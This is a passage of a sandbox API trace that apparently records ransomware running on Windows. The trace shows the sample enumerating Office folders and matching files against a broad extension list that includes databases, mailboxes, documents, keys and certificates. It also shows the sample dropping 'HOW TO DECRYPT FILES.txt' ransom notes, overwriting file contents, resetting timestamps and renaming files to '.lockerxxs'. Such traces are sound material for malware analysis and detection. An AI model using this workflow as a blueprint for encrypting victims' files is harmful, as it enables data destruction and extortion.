(lpString="*.m4a") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.csv") returned 0 [0065.890] lstrlenA (lpString="*.csv") returned 5 [0065.890] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0065.890] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.890] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MCPS.DLL") returned -1 [0065.890] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MCPS.DLL") returned -1 [0065.891] lstrcmpiA (lpString1="", lpString2="MCPS.DLL") returned -1 [0065.891] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL") returned="MAPISHELL.DLL" [0065.891] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.891] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.891] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.891] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.891] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="MCPS.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL" [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.ems") returned 0 [0065.891] lstrlenA (lpString="*.ems") returned 5 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.db") returned 0 [0065.891] lstrlenA (lpString="*.db") returned 4 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.dbf") returned 0 [0065.891] lstrlenA (lpString="*.dbf") returned 5 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.myox") returned 0 [0065.891] lstrlenA (lpString="*.myox") returned 6 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.myo") returned 0 [0065.891] lstrlenA (lpString="*.myo") returned 5 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbw") returned 0 [0065.891] lstrlenA (lpString="*.qbw") returned 5 [0065.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbb") returned 0 [0065.891] lstrlenA (lpString="*.qbb") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbm") returned 0 [0065.892] lstrlenA (lpString="*.qbm") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbo") returned 0 [0065.892] lstrlenA (lpString="*.qbo") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbx") returned 0 [0065.892] lstrlenA (lpString="*.qbx") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qba") returned 0 [0065.892] lstrlenA (lpString="*.qba") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qby") returned 0 [0065.892] lstrlenA (lpString="*.qby") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qbj") returned 0 [0065.892] lstrlenA (lpString="*.qbj") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.ofx") returned 0 [0065.892] lstrlenA (lpString="*.ofx") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.qif") returned 0 [0065.892] lstrlenA (lpString="*.qif") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.mye") returned 0 [0065.892] lstrlenA (lpString="*.mye") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.mbox") returned 0 [0065.892] lstrlenA (lpString="*.mbox") returned 6 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.eml") returned 0 [0065.892] lstrlenA (lpString="*.eml") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.pst") returned 0 [0065.892] lstrlenA (lpString="*.pst") returned 5 [0065.892] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.ost") returned 0 [0065.892] lstrlenA (lpString="*.ost") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.idx") returned 0 [0065.893] lstrlenA (lpString="*.idx") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.dbx") returned 0 [0065.893] lstrlenA (lpString="*.dbx") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.sql") returned 0 [0065.893] lstrlenA (lpString="*.sql") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.mdb") returned 0 [0065.893] lstrlenA (lpString="*.mdb") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.fdb") returned 0 [0065.893] lstrlenA (lpString="*.fdb") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.wab") returned 0 [0065.893] lstrlenA (lpString="*.wab") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.dat") returned 0 [0065.893] lstrlenA (lpString="*.dat") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.txt") returned 0 [0065.893] lstrlenA (lpString="*.txt") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.jpeg") returned 0 [0065.893] lstrlenA (lpString="*.jpeg") returned 6 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.jpg") returned 0 [0065.893] lstrlenA (lpString="*.jpg") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.png") returned 0 [0065.893] lstrlenA (lpString="*.png") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.php") returned 0 [0065.893] lstrlenA (lpString="*.php") returned 5 [0065.893] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.cs") returned 0 [0065.894] lstrlenA (lpString="*.cs") returned 4 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.cpp") returned 0 [0065.894] lstrlenA (lpString="*.cpp") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.rar") returned 0 [0065.894] lstrlenA (lpString="*.rar") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.zip") returned 0 [0065.894] lstrlenA (lpString="*.zip") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.html") returned 0 [0065.894] lstrlenA (lpString="*.html") returned 6 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.htm") returned 0 [0065.894] lstrlenA (lpString="*.htm") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.xlsx") returned 0 [0065.894] lstrlenA (lpString="*.xlsx") returned 6 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.xls") returned 0 [0065.894] lstrlenA (lpString="*.xls") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.mp4") returned 0 [0065.894] lstrlenA (lpString="*.mp4") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.ppt") returned 0 [0065.894] lstrlenA (lpString="*.ppt") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.pptx") returned 0 [0065.894] lstrlenA (lpString="*.pptx") returned 6 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.doc") returned 0 [0065.894] lstrlenA (lpString="*.doc") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.dot") returned 0 [0065.894] lstrlenA (lpString="*.dot") returned 5 [0065.894] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.docx") returned 0 [0065.895] lstrlenA (lpString="*.docx") returned 6 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.7z") returned 0 [0065.895] lstrlenA (lpString="*.7z") returned 4 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.tar") returned 0 [0065.895] lstrlenA (lpString="*.tar") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.bz2") returned 0 [0065.895] lstrlenA (lpString="*.bz2") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.gz") returned 0 [0065.895] lstrlenA (lpString="*.gz") returned 4 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.mkv") returned 0 [0065.895] lstrlenA (lpString="*.mkv") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.eml") returned 0 [0065.895] lstrlenA (lpString="*.eml") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.msg") returned 0 [0065.895] lstrlenA (lpString="*.msg") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.edb") returned 0 [0065.895] lstrlenA (lpString="*.edb") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.accdb") returned 0 [0065.895] lstrlenA (lpString="*.accdb") returned 7 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.odb") returned 0 [0065.895] lstrlenA (lpString="*.odb") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.java") returned 0 [0065.895] lstrlenA (lpString="*.java") returned 6 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.asm") returned 0 [0065.895] lstrlenA (lpString="*.asm") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.pfx") returned 0 [0065.895] lstrlenA (lpString="*.pfx") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.pem") returned 0 [0065.895] lstrlenA (lpString="*.pem") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.p12") returned 0 [0065.895] lstrlenA (lpString="*.p12") returned 5 [0065.895] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.gpg") returned 0 [0065.896] lstrlenA (lpString="*.gpg") returned 5 [0065.896] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL", pszSpec="*.vsd") returned 0 [0065.896] lstrlenA (lpString="*.vsd") returned 5 [0065.896] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0065.896] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.896] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MEDCAT.DLL") returned -1 [0065.896] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MEDCAT.DLL") returned -1 [0065.896] lstrcmpiA (lpString1="", lpString2="MEDCAT.DLL") returned -1 [0065.896] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL") returned="MCPS.DLL" [0065.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.896] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.896] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.896] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.896] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="MEDCAT.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL" [0065.896] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0065.896] lstrcmpA (lpString1=".", lpString2="MEDIA") returned -1 [0065.897] lstrcmpA (lpString1="..", lpString2="MEDIA") returned -1 [0065.897] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL") returned="MEDCAT.DLL" [0065.897] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0065.897] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.899] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.899] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.899] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.899] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.899] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0065.899] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.899] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="APPLAUSE.WAV") returned 1 [0065.899] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="APPLAUSE.WAV") returned 1 [0065.899] lstrcmpiA (lpString1="", lpString2="APPLAUSE.WAV") returned -1 [0065.899] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*.*") returned="*.*" [0065.899] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0065.900] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0065.900] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0065.900] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0xffffffff [0065.900] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.901] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.902] CloseHandle (hObject=0x8c) returned 1 [0065.903] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="APPLAUSE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" [0065.903] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" [0065.903] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" [0065.903] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV." [0065.903] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.lockerxxs" [0065.903] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.905] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6daa [0065.905] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb796bf00, dwHighDateTime=0x1bd8ab7), lpLastAccessTime=0x407536*(dwLowDateTime=0x5ebdaad0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb796bf00, dwHighDateTime=0x1bd8ab7)) returned 1 [0065.905] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.905] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6d84, lpOverlapped=0x0) returned 1 [0065.906] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="APPLAUSE.WAV" [0065.907] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.907] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6d84, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6d84, lpOverlapped=0x0) returned 1 [0065.907] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.910] CloseHandle (hObject=0x8c) returned 1 [0065.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.lockerxxs")) returned 1 [0065.920] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0065.920] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.920] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ARROW.WAV") returned 1 [0065.920] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ARROW.WAV") returned 1 [0065.920] lstrcmpiA (lpString1="", lpString2="ARROW.WAV") returned -1 [0065.920] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="APPLAUSE.WAV" [0065.920] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0065.920] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0065.920] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft 